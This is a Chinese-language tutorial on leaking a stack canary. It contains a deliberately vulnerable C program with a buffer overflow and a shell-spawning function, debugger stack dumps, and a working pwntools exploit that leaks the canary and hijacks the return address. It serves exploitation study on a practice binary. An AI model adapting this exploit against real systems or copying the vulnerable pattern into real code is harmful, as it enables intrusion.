欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Canary学习(泄露Canary)

程序员文章站 2022-03-27 20:41:46
...

canary

原理

  • 通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖ebp,eip等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址让shellcode执行。
  • 当启用栈保护时,函数开始执行的时候会先往栈底插入cookie信息,如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将cookie信息覆盖掉,导致栈保护检查失败而阻止shellcode的执行,避免漏洞利用成功。在linux中我们将cookie信息成为canary。

64位系统中其栈结构如下

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
        rbp =>  | old ebp         |
                +-----------------+
      rbp-8 =>  | canary value    |
                +-----------------+
                | local var       |
        Low     |                 |
        Address

Canary绕过

  • Canary设计以字节\x00结尾,本意是保证Canary可以截断字符串。泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。需要合适的输出函数,并且需要先泄露Canary,之后再次溢出控制执行流程。
  • 需要注意:Canary一般最低位是\x00,也就是结尾处,64位程序的canary的大小是8个字节,32位程序的canary的大小是4个字节。
  • canary的位置不一定与ebp存储的位置相邻,具体得看程序的汇编操作,不同编译器在进行编译时canary位置可能出现偏差,有可能ebp与canary之间有字节被随机填充

example

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译

编译之前先安装相关依赖(64位系统编译32位程序)

gcc -m32 -o ex2 ex2.c

checksec

Canary学习(泄露Canary)
开启了canary

IDA分析

在read函数下断点,查找buf跟ebp的偏移,为0x70,十进制为112

然后我们分析canary跟ebp之间的偏移

Canary学习(泄露Canary)

在这里把canary的值给eax,然后进行压栈

canary的位置与ebp相差0xc,十进制为12

也就是说buf跟canary相差100,buf跟ebp相差112,canary跟ebp相差12

(可能存在偏差,稍后使用gdb进行调试)

先把canary泄露出来

  • 利用canary最后一个字节为0x00的特性
from pwn import *

sh = process('./ex2')

sh.recvuntil("Hello Hacker!\n")

sh.sendline('A'* 100)

#sh.interactive()

sh.recvuntil('A'* 100)

addr = u32(sh.recv(4)) - 0xa

print hex(addr)

结果如下:

[+] Starting local process './ex2': pid 41815
0xc8f3fd00
[*] Stopped process './ex2' (pid 41815)

减去0xa的原因:
  • canary的最低字节为0x00,学过c语言的应该都知道0x00意味着一个字符串的结束。
  • printf函数或者put函数无法输出结束字符之后的字符
  • 故上述代码中压入了100个A和回车,回车将0x00覆盖,回车的ascii码为10,10的十六进制就是0xa
  • 0x00被0xa覆盖掉之后,剩下的高字节部分就可以泄露出来了

动态调试,确认偏移位置

Canary学习(泄露Canary)

在这个地址处下断点
gdb -q ex2
b *0x08048605
r
查看从栈顶开始的50个对象和elements的内存布局
gef➤  telescope 0xffffcff0 50
0xffffcff0│+0x0000: 0xf7fb7000  →  0x001afdb0	 ← $esp
0xffffcff4│+0x0004: 0xf7fb7d60  →  0xfbad2887
0xffffcff8│+0x0008: 0xf7fb8870  →  0x00000000
0xffffcffc│+0x000c: 0xf7e711c2  →  <__overflow+66> add esp, 0x14
0xffffd000│+0x0010: 0xf7fb7d60  →  0xfbad2887
0xffffd004│+0x0014: 0x0000000a
0xffffd008│+0x0018: 0x000000e0
0xffffd00c│+0x001c: 0xf7fb7000  →  0x001afdb0
0xffffd010│+0x0020: 0xf7e71187  →  <__overflow+7> add ebx, 0x145e79
0xffffd014│+0x0024: 0xf7fb7000  →  0x001afdb0
0xffffd018│+0x0028: 0x0000000d
0xffffd01c│+0x002c: 0xf7e6629b  →  <puts+347> add esp, 0x10
0xffffd020│+0x0030: 0xf7fb7d60  →  0xfbad2887
0xffffd024│+0x0034: 0x0000000a
0xffffd028│+0x0038: 0x0000000d
0xffffd02c│+0x003c: 0xf7e6c465  →  <setbuf+21> add esp, 0x1c
0xffffd030│+0x0040: 0xf7fe77eb  →   add esi, 0x15815
0xffffd034│+0x0044: 0xf7e06700  →  0xf7e06700  →  [loop detected]
0xffffd038│+0x0048: 0x00000000
0xffffd03c│+0x004c: 0xf7fb7d60  →  0xfbad2887
0xffffd040│+0x0050: 0xffffd078  →  0x00000000
0xffffd044│+0x0054: 0xf7fedff0  →   pop edx
0xffffd048│+0x0058: 0xf7e6614b  →  <puts+11> add ebx, 0x150eb5
0xffffd04c│+0x005c: 0x00000000
0xffffd050│+0x0060: 0xf7fb7000  →  0x001afdb0
0xffffd054│+0x0064: 0xf7fb7000  →  0x001afdb0
0xffffd058│+0x0068: 0xffffd078  →  0x00000000
0xffffd05c│+0x006c: 0x81a87c00
0xffffd060│+0x0070: 0x08048718  →  "Hello Hacker!"
0xffffd064│+0x0074: 0xffffd124  →  0xffffd2f0  →  "/mnt/hgfs/ubuntu_share/pwn/sus/ex2"
0xffffd068│+0x0078: 0xffffd078  →  0x00000000	 ← $ebp

查看canary
gef➤  canary 
[+] Found AT_RANDOM at 0xffffd2db, reading 4 bytes
[+] The canary of process 40950 is 0x81a87c00

可知偏移为12,也就是0xc

编写exp

from pwn import *

#context.binary = 'ex2'

sh = process('./ex2')

get_shell = ELF("./ex2").sym["getshell"]

print "/bin/sh:" + hex(get_shell)

sh.recvuntil("Hello Hacker!\n")

sh.sendline('A'* 100)

sh.recvuntil('A'* 100)

addr = u32(sh.recv(4)) - 0xa

print hex(addr)

payload = 'A'* 100 + p32(addr) + 'A'* 12 + p32(get_shell)

sh.send(payload)

sh.recv()

sh.interactive()

相关标签: pwn